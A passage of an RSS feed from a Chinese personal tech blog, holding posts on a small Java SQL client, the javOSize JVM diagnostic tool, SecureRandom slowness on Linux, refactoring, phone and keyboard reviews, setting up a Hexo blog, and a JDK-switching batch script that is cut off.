      <link>http://blog.leaver.me/2015/07/12/%E6%89%A7%E8%A1%8C%E7%AE%80%E5%8D%95sql%E7%9A%84%E5%B0%8F%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 12 Jul 2015 19:36:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/07/12/%E6%89%A7%E8%A1%8C%E7%AE%80%E5%8D%95sql%E7%9A%84%E5%B0%8F%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;工作过程中,有时候需要在本地执行一些简单的sql,但是不想下载太大的mysql这类客户端.恰好看到&lt;a href=&#34;https://code.google.com/p/java-ascii-table/&#34; title=&#34;java-ascii-table&#34;&gt;https://code.google.com/p/java-ascii-table/&lt;/a&gt;,完美辅助,于是写个了简单的工具.应该是支持sqlserver,oracle,和mysql的.mysql的测试了.其他的没有测试.还要继续完善.已经放在了&lt;a href=&#34;https://github.com/leizhiyuan/sqlclient&#34; title=&#34;sqlclient@github&#34;&gt;github&lt;/a&gt;上.&lt;/p&gt;
&lt;p&gt;代码很简单.就不贴了.&lt;/p&gt;
&lt;h2 id=&#34;使用说明&#34;&gt;使用说明&lt;/h2&gt;
&lt;p&gt;先打包,然后&lt;code&gt;https://github.com/leizhiyuan/sqlclient/blob/master/README.md&lt;/code&gt; 根据不同的情况写几个简单的bat就可以了.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mysql
&lt;code&gt;java -jar sqlclient.jar -u &amp;quot;jdbc:mysql://localhost:3306/mysql&amp;quot; -n &amp;quot;name&amp;quot;&lt;/code&gt;
&lt;code&gt;-p &amp;quot;pass&amp;quot; -d &amp;quot;com.mysql.jdbc.Driver&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;oracle
&lt;code&gt;java -jar sqlclient.jar -u &amp;quot;jdbc:oracle:thin:@127.0.0.1:1521:XE&amp;quot; -n &amp;quot;name&amp;quot;&lt;/code&gt;
&lt;code&gt;-p &amp;quot;pass&amp;quot; -d &amp;quot;oracle.jdbc.driver.OracleDriver&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;sqlserver
&lt;code&gt;java -jar sqlclient.jar -u &amp;quot;jdbc:jtds:sqlserver://localhost:1433/sqlserver&amp;quot;&lt;/code&gt;
&lt;code&gt;-n &amp;quot;name&amp;quot; -p &amp;quot;pass&amp;quot; -d &amp;quot;net.sourceforge.jtds.jdbc.Driver&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;截图&#34;&gt;截图&lt;/h2&gt;
&lt;p&gt;交互式执行截图
&lt;img alt=&#34;交互式截图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/sqlclient-interactive-screen.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;普通执行截图
&lt;img alt=&#34;一次执行&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/sqlclient-direct-sql-screen.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;引用&#34;&gt;引用&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://code.google.com/p/java-ascii-table/&#34; title=&#34;java-ascii-table&#34;&gt;java-ascii-table项目&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://commons.apache.org/proper/commons-cli/&#34; title=&#34;commons-cli&#34;&gt;commons-cli命令行解析&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>javOSize:新一代java分析工具</title>
      <link>http://blog.leaver.me/2015/07/04/javosize%E6%96%B0%E4%B8%80%E4%BB%A3java%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sat, 04 Jul 2015 16:18:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/07/04/javosize%E6%96%B0%E4%B8%80%E4%BB%A3java%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;h2 id=&#34;介绍&#34;&gt;介绍&lt;/h2&gt;
&lt;p&gt;最近看到这么个工具-javOSize .&lt;a href=&#34;http://www.javosize.com/&#34;&gt;官网地址&lt;/a&gt;,去官网看了下.发现介绍很有意思,叫做 the missing sugar for your Java cup.(你的咖啡杯中缺少的那颗糖).于是感受一下这颗糖到底甜不甜&lt;/p&gt;
&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;
&lt;p&gt;安装非常简单,从这里&lt;a href=&#34;http://www.javosize.com/download.html&#34;&gt;下载&lt;/a&gt;,其实完成之后就是一个jar包.非常简单,不用配置啥的.&lt;/p&gt;
&lt;h2 id=&#34;简单使用&#34;&gt;简单使用&lt;/h2&gt;
&lt;p&gt;使用方法就是从先附加到一个java进程上,在linux,上我直接执行
&lt;code&gt;ps aux|grep java &lt;/code&gt;
就能看到了.不废话,得到java进程的pid之后,运行 &lt;code&gt;java -jar javosize-1.0.9.jar pid&lt;/code&gt; pid就是pid的号了. 然后会看到如下图的界面&lt;img alt=&#34;启动页面&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/javosize_start_up.jpg&#34;&gt;,表示已经附加成功了.先看看都有啥.执行&lt;code&gt;ls&lt;/code&gt;.看到有这么几个命令.我比较单纯,刚开始以为是可执行文件.结果丢人了.看了下官方文档,才知道是目录.进入对应的目录.然后执行&lt;code&gt;ls&lt;/code&gt;就能看到对应的信息了.ls简直不能再万能..改目录支持的所有命令通过在对应的目录执行&lt;code&gt;help&lt;/code&gt;来查看.个人尝试觉得好的功能有.
&lt;img alt=&#34;所有功能目录&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/javosize_command_ls.jpg&#34;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;动态修改类
进入CLASSES目录,然后通过执行
&lt;code&gt;ls|grep xxx &lt;/code&gt;
来找到需要修改的类,然后通过vi 就可以直接编辑.编辑完成后,直接保存就会动态替换.文档里说是支持jdk1.7以上,对1.6的支持估计是不行的.没有测试.
&lt;img alt=&#34;修改类demo&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/javosize_command_class_modify.jpg&#34;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无须重启开启jmx
直接挂载之后,执行&lt;code&gt;cd REPOSITORY&lt;/code&gt; 然后执行就好了.
&lt;code&gt;exec START_JMX_SERVER 6666&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拦截任意代码
可以动态添加类似Spring中的aop方法.用于打印一些调用日志,排查线上问题.进入INTERCEPTOR目录.然后通过如下的方法给某个类的某个方法添加拦截器.
&lt;code&gt;create TickServlet begin mypackage.Hello doGet System.out.println(&amp;quot;Servlet invoked&amp;quot;);&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测内存泄漏
进入 REPOSITORY 目录,执行 &lt;code&gt;exec  TOP_FAT_STATIC_VARIABLES  5 com.apache.*&lt;/code&gt;会取出某个包下面占用大小最大的5个类.会很方便找到.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自动检测性能问题
PROBLEMS 目录专业解决这种问题.进入目录后.执行ls命令.会看到这样的场景&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Concurrency
Deadlocked: false&lt;/li&gt;
&lt;li&gt;Memory
High GC (&amp;gt;2%): false&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里目前只检测了死锁和频繁GC.已经很有用了.至于效果还有待观察.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无需重启开启GC 日志
和开启jmx一样,进入JMX目录后,执行
&lt;code&gt;exec java.lang:type=Memory.setVerbose(true);&lt;/code&gt;
就开启了.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;更多文档&#34;&gt;更多文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.javosize.com/gettingStarted.html&#34;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>休假停下来反思</title>
      <link>http://blog.leaver.me/2015/07/02/%E4%BC%91%E5%81%87%E5%81%9C%E4%B8%8B%E6%9D%A5%E5%8F%8D%E6%80%9D/</link>
      <pubDate>Thu, 02 Jul 2015 21:20:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/07/02/%E4%BC%91%E5%81%87%E5%81%9C%E4%B8%8B%E6%9D%A5%E5%8F%8D%E6%80%9D/</guid>
      <description>&lt;p&gt;项目经过一年终于告一段落.于是有了一个短暂的休假.&lt;/p&gt;
&lt;p&gt;早上照例没能睡好觉.很早就醒了.然后又躺了一会,醒来看了会订阅.然后听了一集&amp;laquo; Mr.Robot &amp;raquo;,感觉还行,再对着字幕看了一遍,以后还是有一些地方理解的有问题.以后还是要多对着无字幕版的美剧去看,才能慢慢听懂更多的,比如今天听到个&lt;code&gt;society&lt;/code&gt;,讲社交焦虑,听到很熟悉,就是没反应过来.学而不用则殆.&lt;/p&gt;
&lt;p&gt;中午给文哥寄了个快递,顺便点个饭.之前的&amp;quot;手艺&amp;quot;应该也已经忘得差不多了.到杭州之后很少做饭,工作太忙.没办法.当然这只是借口.主要还是我懒吧.&lt;/p&gt;
&lt;p&gt;下午按计划好的去浙江图书馆,从大学出来后,虽然书还是看了一些的.但是也再也没有走入图书馆.之前一直想去上海图书馆,结果一直耽搁,今天去浙江图书馆办了个证,借了几本书,看着里面的人自习的自习,借阅的借阅,想想还是有点熟悉的.遗憾的是书相同的份数有点少.想借的几本书都被人借走了,最终借了个**&amp;laquo; 七周七语言 &amp;raquo;&lt;strong&gt;,希望能给自己的编程带来不一样的思考角度.读完后争取写个书评和总结,还借了一本摄影相关的,毕竟拍照是服务妹子的技能.还有个&lt;/strong&gt;&amp;laquo; netty权威指南 &amp;raquo;** ,虽然这本书评价好像不高,但是拿来看看还是可以的.&lt;/p&gt;
&lt;p&gt;下午回家.杭州的下午还挺美的.天气凉爽.只是作为工作狗,没有下午出来的机会吧.&lt;/p&gt;
&lt;p&gt;工作忙,不过在一切自动化的指导下,(马克思没有找我),对linux 的shell操作熟悉度急剧上升,希望能写的更好,让更多的过程自动化,也希望有时间停下来想一想.当时为什么选择写代码,为什么选择当前的职业,知道自己做了什么,知道自己是否进步,想起之前看到的一个话,不知真假,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;只是因为三轮车好学，你就要一辈子骑三轮车吗？ – Douglas Englebart&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在职业之外,除了高效做好自己的工作外,也要学习更多的技能,英语,锻炼身体,其他编程相关的.不要安于现状.不要重复自己.还是那句话,不要让你的身份限制你的能力.&lt;/p&gt;</description>
    </item>
    <item>
      <title>SecureRandom第一次生成随机数非常慢</title>
      <link>http://blog.leaver.me/2015/06/30/securerandom%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%94%9F%E6%88%90%E9%9A%8F%E6%9C%BA%E6%95%B0%E9%9D%9E%E5%B8%B8%E6%85%A2/</link>
      <pubDate>Tue, 30 Jun 2015 19:18:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/06/30/securerandom%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%94%9F%E6%88%90%E9%9A%8F%E6%9C%BA%E6%95%B0%E9%9D%9E%E5%B8%B8%E6%85%A2/</guid>
      <description>&lt;p&gt;最近发现某个系统在第一次做操作的时候非常缓慢,逐步定位打印更加详细的日志后,发现问题是使用了SecureRandom 这个类来获取随机种子,这个类第一次初始化的时候setSeed的值,非常缓慢,偶尔出现, 排查的过程就是二分,不断定位具体的代码,最终定位&lt;/p&gt;
&lt;p&gt;也就是说根本原因是SecureRandom 这个jre的工具类的问题.具体的bug搜索之后,见&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://bugs.java.com/view_bug.do?bug_id=6521844&#34;&gt;http://bugs.java.com/view_bug.do?bug_id=6521844&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;详细的解释过程:
参考: &lt;a href=&#34;http://www.websina.com/bugzero/faq/securerandom-slowness.html&#34;&gt;http://www.websina.com/bugzero/faq/securerandom-slowness.html&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: Why the SecureRandom generateSeed is so slow or even hang on Linux OS?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A: When you login, it hangs or takes more than a minute to get the response.
If your server is on a Linux OS, the culprit here is SecureRandom generateSeed()
which uses /dev/random to generate the seed. However, /dev/random is a blocking
number generator and if it doesn&amp;rsquo;t have enough random data to provide, it will
simply wait until it does, which forces the JVM to wait. Keyboard and mouse input
as well as disk activity can generate the randomness or entropy needed. But on a
server that lacks such activies, the problem may arise.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大意是说当使用SecureRandom 的时候默认使用的/dev/random 文件来生成种子,如果没有足够的种子数据,(这些数据是由键盘,鼠标,磁盘活动等产生的,如果没有这些活动,就没有足够的数据)会一直等待,导致jvm卡住,耗费比较长的时候.由于出现问题的这个环境的确是最近没什么操作,而且复现的操作也是隔个一个晚上,重新做业务才会出现.&lt;/p&gt;
&lt;p&gt;文中给出了一种解决方案.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动参数添加 -Djava.security.egd=file:/dev/./urandom,验证是可以的.&lt;/li&gt;
&lt;li&gt;修改随机数获取方式&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这里urandom是啥呢,引用自&lt;a href=&#34;https://zh.wikipedia.org/wiki//dev/random&#34;&gt;维基&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/dev/random的一个副本是/dev/urandom（“unlocked”，非阻塞的随机数发生器[4]），它会重复使用熵池中的数据以产生伪随机数据。这表示对/dev/urandom的读取操作不会产生阻塞，但其输出的熵可能小于/dev/random的。它可以作为生成较低强度密码的伪随机数生成器，不建议用于生成高强度长期密码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;类似案例: SecureRandom 导致tomcat启动过慢.
&lt;a href=&#34;https://wiki.apache.org/tomcat/HowTo/FasterStartUp#Entropy_Source&#34;&gt;https://wiki.apache.org/tomcat/HowTo/FasterStartUp#Entropy_Source&lt;/a&gt;
从文中看到说java8已经提升了这个性能.但是一般生产环境的java版本是不会改的.&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于重构和设计模式</title>
      <link>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E9%87%8D%E6%9E%84%E5%92%8C%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Sun, 10 May 2015 17:23:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E9%87%8D%E6%9E%84%E5%92%8C%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;之前在工作写了一个数据库查询的工具.大体背景就是这种工具需要跨不同环境的数据库,开发,测试,性能等.最早简单写了一个版本,在第一次查询时会初始化三个库的连接,保存在map中,然后后续查询直接根据使用者选择的环境类型取出对应的连接构造sql即可.&lt;/p&gt;
&lt;p&gt;随着各个不同系统接入的越来越多,各个平台都保存了自己的连接,导致代码冗余度急剧上升,上周,利用晚上的一点时间读了一下&amp;laquo;重构&amp;raquo;,这本书,深受启发,一个是重构就是要采用小步快走的方式,在测试用例的覆盖下,快速改动,去掉代码中不合理的地方.另一个就是重构需要对业务的当下和未来的变化有一个比较深刻的理解,知道这个系统能做什么,不能做什么.才能更好地做重构.&lt;/p&gt;
&lt;p&gt;于是,根据这个工具的特点,感觉抽象工厂模式比较合适,于是在抽象工厂模式的指导下,对关键部分进行了重构,在增加了几个类之后,代码复杂度开始下降.各个接入系统的代码基本上保持在了几十行内,之前都是几百行,大量冗余代码,只能说自己之前眼光太短浅了.并且,采用了类似单例模式的操作.当查询的时候,先根据当前环境作为key取连接,如果连接被关闭,或者不存在,则初始化,然后放到map中,返回.如果有的话,直接用.这样改动后,第一次查询的时候只需要初始化一个连接,速度极快.也算个好处..&lt;/p&gt;
&lt;p&gt;由此,反思了一下,设计模式之前也看过.但是总觉得各种书上讲的都比较浅显,给出的例子也似乎如作者所说,很符合那个模式,但实际上,在工作中如何识别当下的业务应该是比较难的,需要在业务变动中,不断地重构自己的代码,才能发现,某一种模式似乎特别适合解决这种问题,反之,重构也需要一定的设计模式作为基础,否则对代码的重构会只停留在抽取公共方法.重命名.大类变小类的阶段..&lt;/p&gt;
&lt;p&gt;希望接下来能够抽空把&amp;laquo;敏捷软件开发：原则、模式与实践&amp;raquo;这本书看完.同时能够真的理解这些模式的场合,想起一句话,知道一个技术方案的好,说明你还没有理解这种方法,只有你知道了这个方案的不足,你才真正理解了他,相信很多技术我都没有理解.设计模式也是,希望之后能够理解每种模式的不足,重构这本书也要经常翻翻,能加深对代码的理解.&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于国产的一些想法</title>
      <link>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E5%9B%BD%E4%BA%A7%E7%9A%84%E4%B8%80%E4%BA%9B%E6%83%B3%E6%B3%95/</link>
      <pubDate>Sun, 10 May 2015 11:14:53 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E5%9B%BD%E4%BA%A7%E7%9A%84%E4%B8%80%E4%BA%9B%E6%83%B3%E6%B3%95/</guid>
      <description>&lt;p&gt;最近也没啥特殊的事情,恰好昨晚魅族云服务当机,导致本地所以联系人丢失,路上想给家里打个电话,没法打,最近又入手了国产入门机械键盘雷柏v500,写点啥呢.
##魅族##&lt;/p&gt;
&lt;p&gt;魅族mx4是我去年11月份入手的.且不说魅族搞饥饿营销.先说说我手机从去年到现在遇到的问题.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;屏幕黄边,刚入手没多久,屏幕左侧出现明显黄边,当时很无语.这质量..不过拿去直接给换了个屏幕,同事的另一台也是,入手后直接屏幕大面积坏点.&lt;/li&gt;
&lt;li&gt;通话质量,我买手机主要就是为了打电话,可是魅族这通话质量,打着打着就没声音了,电流声声音很大.尤其微信的时候.&lt;/li&gt;
&lt;li&gt;固件更新质量,有问题通过更新是好事,但是魅族的工程师每周编出那么多更新log也是蛮拼的.实际上一点问题没解决.老是改计算器,闹钟,比较著名的就是之前有人提到的滑动变点击,用了好几个月最后悄悄修复了.&lt;/li&gt;
&lt;li&gt;安全,之前对魅族的质量还算放心,结果上上周,直接整个出应用中心故障,导致很多用户手机莫名秒开始自动下载软件,自动安装,卸载完成又出现,我当时怀疑是我开了wifi下自动更新,于是关掉了.结果还真是.最后给出个这么说法.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;亲爱的魅友们： Flyme应用中心于4月28日晚间服务器发生故障，部分用户出现应用名称与图标混乱，自动更新安装其他应用等情况。在发现故障之后，2个小时之内已经解决，给大家造成不便我们深表歉意。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你特么在逗我.你确定是两小时?
5. 云服务,同上,之前很放心的把手机通讯录,联系人之类的都同步到了魅族的云服务上.结果已经出现好几次没法同步,数据本地丢失,找客服说让我再试试.服务器报错你让我再试试..
6. 诚信,我司的价值观之一诚信,现在看来真的很重要,魅族公司品质极差,之前其总设计师杨颜放狠话,说5月份公测flyme4.5 ,其官微更是转发,说不发发手机,结果,所有人等到5月份,前一天先把公告删了.然后重新发了一封,说不公测.品质极其差.&lt;/p&gt;
&lt;p&gt;综上,对魅族手机已经彻底失望.一分钱一分货,就别老是贬低别的厂商,一句话评价就是中看不中用.&lt;/p&gt;
&lt;p&gt;##雷柏v500##&lt;/p&gt;
&lt;p&gt;雷柏v500是我的第一个机械键盘,我是很喜欢80%这种键位的.不喜欢小键盘区域,有了小键盘区域,键盘太大了.于是当时是看好了filco 87圣手,poker2,race2的.最后由于前一个太贵,后两个没有F1,F2这些而告终,毕竟我是要调试程序,写代码的.没有这几个直接的键位那跟咸鱼有什么区别.用了几周下来.简单汇总下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;便宜,219买的.这价格是真的便宜.而且是80%的键位,雷柏也还是比较出名,之前也买过个鼠标我记得.&lt;/li&gt;
&lt;li&gt;手感,和普通薄膜键盘手感差异很大.手感不错,打字的确有快感.但是你说让爱上打字这个还是有难度的.毕竟.班上多了心情不好.&lt;/li&gt;
&lt;li&gt;不方便,由于是80%,所以键盘小,但是,相当重,好像是有个钢板.非常重,比我的x1笔记本都重,整个人都不好了.自从带去公司,再也不想带回来了.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;综上,整体还是不错的,一分钱一分货,不要夸自己和cherry,flico的距离,差距肯定大大的.但是性价比高.&lt;/p&gt;
&lt;p&gt;##总结##&lt;/p&gt;
&lt;p&gt;总结就是魅族是个坑爹的公司,雷柏键盘还行吧.&lt;/p&gt;</description>
    </item>
    <item>
      <title>hexo建立博客过程中的问题</title>
      <link>http://blog.leaver.me/2015/01/13/hexo%E5%BB%BA%E7%AB%8B%E5%8D%9A%E5%AE%A2%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E9%97%AE%E9%A2%98/</link>
      <pubDate>Tue, 13 Jan 2015 23:21:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/01/13/hexo%E5%BB%BA%E7%AB%8B%E5%8D%9A%E5%AE%A2%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;最近博客越来越慢了.然后一直也有markdown写文章的想法.于是花了点时间把博客迁到了hexo+github+gitcafe的组合上.
##安装Git##
下载 msysgit 并执行即可完成安装。
##安装Node.js##
在 Windows 环境下安装 Node.js 非常简单，仅须下载安装文件并执行即可完成安装。
##安装hexo##
利用 npm 命令即可安装。（在任意位置点击鼠标右键，选择Git bash）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;npm install -g hexo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装完成后,找个目录,比如d:/blog下面.右键,git bash,然后执行
&lt;code&gt;hexo init&lt;/code&gt;
这样就会自动生成所有的目录结构了然后在安装一下依赖包:
&lt;code&gt;npm install&lt;/code&gt;
然后执行
&lt;code&gt;hexo generate&lt;/code&gt; 用来根据md文件生成对应的html文件.执行
&lt;code&gt;hexo server&lt;/code&gt; 则启动本地服务器.打开
127.0.0.1:4000端口查看&lt;/p&gt;
&lt;p&gt;本地查看没啥问题.就需要部署到git上了.先配置一下.
在d:/blog下面的_config.xml中配置远程git的服务器.现在已经支持同时部署到github和gitcafe.在末尾添加&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;deploy:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  type: git
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  repo:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    github: git@github.com:yourname/yourname.github.io.git,master
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    gitcafe: git@gitcafe.com:yourname/yourname.git,gitcafe-pages
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其中的yourname就是你的名字&lt;/p&gt;
&lt;p&gt;然后执行
&lt;code&gt;hexo deploy&lt;/code&gt;
即可.让输入啥就输入啥.
下面是命令的简写
&lt;code&gt;hexo g&lt;/code&gt; == &lt;code&gt;hexo generate&lt;/code&gt;
&lt;code&gt;hexo d&lt;/code&gt; == &lt;code&gt;hexo deploy&lt;/code&gt;
&lt;code&gt;hexo s&lt;/code&gt; == &lt;code&gt;hexo server&lt;/code&gt;
&lt;code&gt;hexo n&lt;/code&gt; == &lt;code&gt;hexo new&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;##网站主题配置##
同样的,在d:/blog下面执行
&lt;code&gt;git clone https://github.com/wuchong/jacman.git themes/jacman&lt;/code&gt;
即可复制主题.
然后修改_config.xml文件.在里面找到theme 设置为
&lt;code&gt;theme: jacman&lt;/code&gt;
注意冒号后面有空格&lt;/p&gt;
&lt;p&gt;##wordpress迁移##&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;导出文章
登录wordpress管理控制台，选择工具-&amp;gt;导出，再选择文章。点击下载导出的文件，就可以得到一个名称类似wordpress.2015-01-12.xml的文件。&lt;/li&gt;
&lt;li&gt;安装迁移插件
&lt;code&gt;npm install hexo-migrator-wordpress --save&lt;/code&gt;执行安装&lt;/li&gt;
&lt;li&gt;导入文章
&lt;code&gt;hexo migrate wordpress source&lt;/code&gt; 这里source就是刚才那个文件的地址,绝对路径或者相对路径都行.导出的中文可能有编码.手动改一下,或者写个脚本简单转换一下.&lt;/li&gt;
&lt;li&gt;导入图片
经过上面的步骤,会发现图片还是原来的连接.这里看这个&lt;a href=&#34;http://catx.me/2014/03/07/hexo-migrator-image/&#34; title=&#34;导入图片&#34;&gt;导入图片插件&lt;/a&gt;使用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;##其他问题##
&lt;a href=&#34;http://rangercyh.blog.51cto.com/1444712/749490&#34;&gt;github连接出现Bad file number问题&lt;/a&gt;
&lt;a href=&#34;http://wuchong.me/blog/2014/01/17/use-github-to-manage-hexo-source/&#34;&gt;使用GitHub来管理博客源文件&lt;/a&gt;
&lt;a href=&#34;http://www.foreverpx.cn/2014/09/25/Hexo%E5%85%8D%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81%E9%83%A8%E7%BD%B2%E5%88%B0github/&#34;&gt;Hexo免输入密码部署到github&lt;/a&gt;
&lt;a href=&#34;http://never.doubting.me/2013/04/18/2013-04-18-set-multiply-accounts-on-github/&#34;&gt;教程:github设置多账号&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>一键切换jdk版本</title>
      <link>http://blog.leaver.me/2014/11/07/%E4%B8%80%E9%94%AE%E5%88%87%E6%8D%A2jdk%E7%89%88%E6%9C%AC/</link>
      <pubDate>Fri, 07 Nov 2014 16:08:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/11/07/%E4%B8%80%E9%94%AE%E5%88%87%E6%8D%A2jdk%E7%89%88%E6%9C%AC/</guid>
      <description>&lt;p&gt;工作中有时候会切换jdk版本.有时候需要用个64位的.有时候需要用32位的.频繁手动很不方便,参考了一下,写了一个bat脚本,保存为bat,运行即可切换.同理可以改改,运来切换1.7,1.8这样的版本.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    @echo off
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :init
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    set JAVA_HOME_32=D:\5.Program\Jdk32Home
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    set JAVA_HOME_64=D:\Software\JdkHome
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :start
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo =============================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo jdk版本列表
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 32 (%JAVA_HOME_32%)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 64 (%JAVA_HOME_64%)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo =============================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :select
